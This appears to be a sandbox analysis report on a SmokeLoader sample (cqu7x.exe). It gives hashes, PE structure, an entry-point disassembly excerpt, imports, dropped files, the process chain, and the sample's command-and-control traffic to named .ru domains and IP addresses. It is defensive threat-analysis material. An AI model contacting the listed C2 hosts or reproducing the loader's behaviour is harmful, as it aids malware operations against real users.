Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y..+...x...x...x..lx...x...xQ..x..x...x..vx...x..kx...x..nx...xRich...x........PE..L....%c............................/........ ....@.......................................................................... ..P....P.......................`....................................................... ...............................text............................... ..`.rdata....... ......................@..@.data........0......................@....bss.........@......................@....rsrc........P....... ..............@..@.reloc.......`...r..."..............@..@........................................JJ.!.E...J...b..........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\vcivdjd

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	247296
Entropy (8bit):	6.768416698427892
Encrypted:	false
SSDEEP:	6144:1tuR8wBTKFro1C/JVn8lYShHZLnlgWuydU:1cR8oKFro1CXUYShH3gH
MD5:	E449924B8AA04FA2E032511CF86D2482
SHA1:	BC9C00E0841A84FBC45D9EF36422EAC3590B590F
SHA-256:	B9FD7622C3FCFDD6EB9B2CB917A3CB64EB35C61221DE4866303CA88D828D5BED
SHA-512:	584883254751227D886440EA8E2A63C082350D68F52C8093AE0531FB30AD8A50DAA22EDE8FA130A03F611974F46706AFB6EDF475579F246404FD367E8B8CBB57
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92% Antivirus: Metadefender, Detection: 41%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............q...q...q.....q.....q..`....q...p.4.q......q......q.......q.Rich..q.................PE..L......_.................P...:...............`....@..........................p......RL.......................................L..<........W..........................@................................~..@............................................text....N.......P.................. ..`.data........`.......T..............@....rsrc....W.......X...n..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\vcivdjd:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.768416698427892
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	cqu7x.exe
File size:	247296
MD5:	e449924b8aa04fa2e032511cf86d2482
SHA1:	bc9c00e0841a84fbc45d9ef36422eac3590b590f
SHA256:	b9fd7622c3fcfdd6eb9b2cb917a3cb64eb35c61221de4866303ca88d828d5bed
SHA512:	584883254751227d886440ea8e2a63c082350d68f52c8093ae0531fb30ad8a50daa22ede8fa130a03f611974f46706afb6edf475579f246404fd367e8b8cbb57
SSDEEP:	6144:1tuR8wBTKFro1C/JVn8lYShHZLnlgWuydU:1cR8oKFro1CXUYShH3gH
TLSH:	CA348D10BB90D035F1B716F8497A939CA93E7EE19B3491CB62D526EE56346E0EC3030B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............q...q...q.......q.......q..`....q...p.4.q.......q.......q.......q.Rich..q.................PE..L......_.................P.

File Icon


Icon Hash:	aedaae9ecea62aa2

Static PE Info

General

Entrypoint:	0x409c10
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5FB095A3 [Sun Nov 15 02:42:43 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d7546d6a0321f36858292bbca231c426

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F8AE8BB088Bh
call 00007F8AE8BACDC6h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 004245A8h
push 0040D160h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [004369D4h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [004011F4h]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007F8AE8BACDD8h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007F8AE8BACF08h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007F8AE8BACF44h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007F8AE8BB28BAh
add esp, 04h
test eax, eax
jne 00007F8AE8BACDBCh
push 0000001Ch
call 00007F8AE8BACEFCh
add esp, 04h
call 00007F8AE8BB21B4h
test eax, eax
jne 00007F8AE8BACDBCh
push 00000010h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24ccc	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x61000	0x57b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1340	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x7e98	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x2f4	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x24e80	0x25000	False	0.4157582875844595	data	6.1472285177169095	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x26000	0x3a6fc	0x11a00	False	0.8917747118794326	data	7.602842922317191	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x61000	0x57b8	0x5800	False	0.6064453125	data	5.75323482911793	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
MIMELA	0x649f8	0x2fa	ASCII text, with very long lines (762), with no line terminators	Uzbek	Italy
RT_CURSOR	0x64d70	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0	Uzbek	Italy
RT_CURSOR	0x64ea0	0xf0	Device independent bitmap graphic, 24 x 48 x 1, image size 0	Uzbek	Italy
RT_CURSOR	0x64f90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Uzbek	Italy
RT_ICON	0x61380	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Uzbek	Italy
RT_ICON	0x63928	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Uzbek	Italy
RT_STRING	0x661a8	0x2dc	Matlab v4 mat-file (little endian) u, numeric, rows 0, columns 0	Uzbek	Italy
RT_STRING	0x66488	0x14c	data	Uzbek	Italy
RT_STRING	0x665d8	0x1de	data	Uzbek	Italy
RT_ACCELERATOR	0x64d18	0x58	data	Uzbek	Italy
RT_ACCELERATOR	0x64cf8	0x20	data	Uzbek	Italy
RT_GROUP_CURSOR	0x66038	0x30	data	Uzbek	Italy
RT_GROUP_ICON	0x649d0	0x22	data	Uzbek	Italy
RT_VERSION	0x66068	0x140	MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79	Uzbek	Italy

Imports

DLL

Import

KERNEL32.dll

HeapWalk, GetNamedPipeHandleStateW, SystemTimeToFileTime, FillConsoleOutputCharacterW, CreateMailslotA, TerminateProcess, GetLastError, GetVersionExA, FreeResource, EnumResourceNamesA, FindNextFileA, CopyFileExW, BuildCommDCBW, SetDefaultCommConfigA, SetCommConfig, WritePrivateProfileStructW, LocalCompact, ChangeTimerQueueTimer, ReadConsoleInputW, WriteConsoleInputA, LoadResource, AddAtomW, SearchPathA, GetThreadTimes, CallNamedPipeW, GetDriveTypeW, BuildCommDCBAndTimeoutsW, VirtualProtect, GetModuleHandleA, GlobalAlloc, SetThreadIdealProcessor, GetProfileSectionW, DeleteFileW, FindFirstChangeNotificationA, VerifyVersionInfoA, FormatMessageA, SetDllDirectoryW, LoadLibraryA, WritePrivateProfileStringA, GetUserDefaultLCID, SetWaitableTimer, SetConsoleTextAttribute, InterlockedDecrement, GetStartupInfoW, GetSystemWow64DirectoryA, CopyFileW, SetCalendarInfoA, ContinueDebugEvent, EndUpdateResourceW, SetLastError, FreeLibraryAndExitThread, GetModuleFileNameW, FatalAppExitA, SetSystemTime, OpenFileMappingA, lstrcmpW, WriteFileGather, FlushConsoleInputBuffer, SetDefaultCommConfigW, FindNextVolumeA, InterlockedExchangeAdd, GlobalUnfix, GetSystemWindowsDirectoryA, CopyFileA, GetACP, GlobalFindAtomW, lstrcatW, GetPrivateProfileStringW, SetMailslotInfo, CreateActCtxW, GetPrivateProfileIntW, _lwrite, OutputDebugStringW, CreateNamedPipeW, GetAtomNameA, SetConsoleActiveScreenBuffer, EnumResourceTypesA, lstrlenA, DebugActiveProcess, WriteConsoleW, lstrcpyA, ReadConsoleOutputW, GetThreadContext, ReleaseActCtx, GetStringTypeA, GetPrivateProfileStringA, GetDriveTypeA, GetFileAttributesExA, LocalFileTimeToFileTime, MoveFileW, GetVolumePathNameA, GetCommMask, SetFileShortNameW, VerLanguageNameW, LockFile, ProcessIdToSessionId, GetQueuedCompletionStatus, AllocConsole, GlobalGetAtomNameW, SetComputerNameA, GetConsoleAliasExesLengthA, WriteConsoleInputW, CreateMailslotW, SystemTimeToTzSpecificLocalTime, MoveFileWithProgressA, GetStringTypeExW, EnumSystemLocalesA, GetPrivateProfileIntA, GetModuleHandleW, OpenWaitableTimerA, GetConsoleAliasesLengthW, PeekNamedPipe, FillConsoleOutputCharacterA, GetCompressedFileSizeA, FindNextVolumeMountPointA, WriteConsoleOutputCharacterA, QueryInformationJobObject, GetConsoleAliasExesA, EnumDateFormatsA, VirtualAllocEx, OpenMutexA, RaiseException, GetCommandLineA, GetStartupInfoA, HeapValidate, IsBadReadPtr, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, QueryPerformanceCounter, GetTickCount, GetCurrentThreadId, GetCurrentProcessId, GetSystemTimeAsFileTime, Sleep, InterlockedIncrement, GetProcAddress, ExitProcess, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetStdHandle, GetFileType, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, HeapDestroy, HeapCreate, HeapFree, VirtualFree, WriteFile, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, GetOEMCP, GetCPInfo, IsValidCodePage, RtlUnwind, InitializeCriticalSectionAndSpinCount, DebugBreak, OutputDebugStringA, LoadLibraryW, MultiByteToWideChar, LCMapStringA, LCMapStringW, GetStringTypeW, GetLocaleInfoA, SetFilePointer, GetConsoleCP, GetConsoleMode, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, CreateFileA, CloseHandle, FlushFileBuffers

ADVAPI32.dll

InitiateSystemShutdownW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Uzbek	Italy

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.437.140.192.15849695802851815 11/11/22-12:22:52.606242	TCP	2851815	ETPRO TROJAN Sharik/Smokeloader CnC Beacon 18	49695	80	192.168.2.4	37.140.192.158

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 11, 2022 12:22:52.544603109 CET	49695	80	192.168.2.4	37.140.192.158
Nov 11, 2022 12:22:52.605334044 CET	80	49695	37.140.192.158	192.168.2.4
Nov 11, 2022 12:22:52.605485916 CET	49695	80	192.168.2.4	37.140.192.158
Nov 11, 2022 12:22:52.606241941 CET	49695	80	192.168.2.4	37.140.192.158
Nov 11, 2022 12:22:52.606261969 CET	49695	80	192.168.2.4	37.140.192.158
Nov 11, 2022 12:22:52.667098999 CET	80	49695	37.140.192.158	192.168.2.4
Nov 11, 2022 12:22:52.667165995 CET	80	49695	37.140.192.158	192.168.2.4
Nov 11, 2022 12:22:52.695197105 CET	80	49695	37.140.192.158	192.168.2.4
Nov 11, 2022 12:22:52.704159975 CET	49695	80	192.168.2.4	37.140.192.158
Nov 11, 2022 12:22:52.704245090 CET	49695	80	192.168.2.4	37.140.192.158
Nov 11, 2022 12:22:52.765021086 CET	80	49695	37.140.192.158	192.168.2.4
Nov 11, 2022 12:22:52.784858942 CET	80	49695	37.140.192.158	192.168.2.4
Nov 11, 2022 12:22:52.838620901 CET	49695	80	192.168.2.4	37.140.192.158
Nov 11, 2022 12:22:52.868396044 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:52.923259974 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:52.923368931 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:52.923496962 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:52.977693081 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:52.992731094 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:52.992779970 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:52.992814064 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:52.992851019 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:52.992863894 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:52.992882967 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:52.992906094 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:52.992916107 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:52.992944002 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:52.992961884 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:52.992975950 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:52.993007898 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:52.993040085 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:52.993056059 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:52.993098974 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.047137022 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047171116 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047192097 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047213078 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047219038 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.047235012 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047272921 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.047683954 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047707081 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047719002 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047732115 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047748089 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047760963 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047774076 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047791958 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047808886 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047827959 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047846079 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047866106 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047885895 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047905922 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047905922 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.047924995 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.047971010 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.047996044 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.101689100 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.101737976 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.101768970 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.101795912 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.101821899 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.101825953 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.101851940 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.101852894 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.101903915 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.102078915 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.102113008 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.102140903 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.102164030 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.102190971 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.102327108 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.102737904 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.102777004 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.102808952 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.102834940 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.102838039 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.102902889 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.102921009 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.102952957 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.103005886 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.103035927 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.103060007 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.103084087 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.103303909 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.103338957 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.103384972 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.103424072 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.103457928 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.103487968 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.103502989 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.103517056 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.103547096 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.103574991 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.103585958 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.103606939 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.103621960 CET	49696	80	192.168.2.4	80.76.42.141
Nov 11, 2022 12:22:53.103635073 CET	80	49696	80.76.42.141	192.168.2.4
Nov 11, 2022 12:22:53.103652000 CET	49696	80	192.168.2.4	80.76.42.141

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 11, 2022 12:22:52.488261938 CET	56572	53	192.168.2.4	8.8.8.8
Nov 11, 2022 12:22:52.525489092 CET	53	56572	8.8.8.8	192.168.2.4
Nov 11, 2022 12:22:52.797280073 CET	50911	53	192.168.2.4	8.8.8.8
Nov 11, 2022 12:22:52.867661953 CET	53	50911	8.8.8.8	192.168.2.4
Nov 11, 2022 12:23:14.019974947 CET	59683	53	192.168.2.4	8.8.8.8
Nov 11, 2022 12:23:14.055381060 CET	53	59683	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 11, 2022 12:22:52.488261938 CET	192.168.2.4	8.8.8.8	0x68	Standard query (0)	dindunketagestan.ru	A (IP address)	IN (0x0001)	false
Nov 11, 2022 12:22:52.797280073 CET	192.168.2.4	8.8.8.8	0xd0b3	Standard query (0)	kukaryka.ru	A (IP address)	IN (0x0001)	false
Nov 11, 2022 12:23:14.019974947 CET	192.168.2.4	8.8.8.8	0xc79c	Standard query (0)	telemetry.skype.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 11, 2022 12:22:52.525489092 CET	8.8.8.8	192.168.2.4	0x68	No error (0)	dindunketagestan.ru		37.140.192.158	A (IP address)	IN (0x0001)	false
Nov 11, 2022 12:22:52.867661953 CET	8.8.8.8	192.168.2.4	0xd0b3	No error (0)	kukaryka.ru		80.76.42.141	A (IP address)	IN (0x0001)	false
Nov 11, 2022 12:23:14.055381060 CET	8.8.8.8	192.168.2.4	0xc79c	Name error (3)	telemetry.skype.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

rocmdbvx.com

dindunketagestan.ru

froxojju.net

kukaryka.ru

quvycqdb.org

Target ID:	0
Start time:	12:21:51
Start date:	11/11/2022
Path:	C:\Users\user\Desktop\cqu7x.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\cqu7x.exe
Imagebase:	0x400000
File size:	247296 bytes
MD5 hash:	E449924B8AA04FA2E032511CF86D2482
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.415776182.0000000002381000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.415776182.0000000002381000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.415123167.0000000000520000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.415123167.0000000000520000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.415096817.0000000000510000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.415328456.0000000000553000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000003.322194744.0000000000520000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: explorer.exePID: 3528, Parent PID: 1924

General

Target ID:	1
Start time:	12:21:58
Start date:	11/11/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff618f60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000000.401881839.0000000002B21000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000001.00000000.401881839.0000000002B21000.00000020.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high

Analysis Process: vcivdjdPID: 5384, Parent PID: 1088

General

Target ID:	4
Start time:	12:22:52
Start date:	11/11/2022
Path:	C:\Users\user\AppData\Roaming\vcivdjd
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\vcivdjd
Imagebase:	0x400000
File size:	247296 bytes
MD5 hash:	E449924B8AA04FA2E032511CF86D2482
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000003.459393089.00000000004E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000004.00000002.471661867.0000000000513000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000004.00000002.471455998.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.471472153.00000000004E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.471472153.00000000004E0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.471974631.0000000000911000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.471974631.0000000000911000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs Detection: 41%, Metadefender, Browse
Reputation:	low

Analysis Process: 3196.exePID: 5156, Parent PID: 3528

General

Target ID:	5
Start time:	12:22:53
Start date:	11/11/2022
Path:	C:\Users\user\AppData\Local\Temp\3196.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3196.exe
Imagebase:	0x660000
File size:	177152 bytes
MD5 hash:	969DB79BF21624D4135B30DF17777ABA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 60%, ReversingLabs Detection: 0%, Metadefender, Browse
Reputation:	low

Analysis Process: loader_250246_15072022_2203_31102022.exePID: 3524, Parent PID: 5156

General

Target ID:	6
Start time:	12:22:55
Start date:	11/11/2022
Path:	C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe"
Imagebase:	0x400000
File size:	37888 bytes
MD5 hash:	F777E421EAB950176F802D8B92A50F7A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
